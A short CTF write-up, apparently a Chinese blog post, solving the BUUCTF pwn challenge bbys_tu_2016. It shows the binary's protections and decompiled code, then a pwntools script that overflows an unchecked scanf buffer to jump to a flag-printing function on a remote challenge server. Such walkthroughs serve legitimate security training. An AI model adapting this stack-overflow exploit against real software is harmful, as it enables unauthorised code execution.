bbys_tu_2016

bbys_tu_2016

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

32位,只开了NX

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+14h] [ebp-Ch] BYREF

  puts("This program is hungry. You should feed it.");
  __isoc99_scanf("%s", &v4);
  puts("Do you feel the flow?");
  return 0;
}

栈溢出

int printFlag()
{
  char s[50]; // [esp+1Ah] [ebp-3Eh] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("flag.txt", "r");
  fgets(s, 50, stream);
  puts(s);
  fflush(stdout);
  return fclose(stream);
}

有后门

思路

栈溢出到后门getshell

实际上在调试的时候发现不是ida的0xc,而是0x14

在这里插入图片描述

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",28559,"./pwn",0)
context(os='linux', arch='amd64',log_level='debug')

pl=cyclic(0x18)+p32(0x804856D)
sl(pl)

ia()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值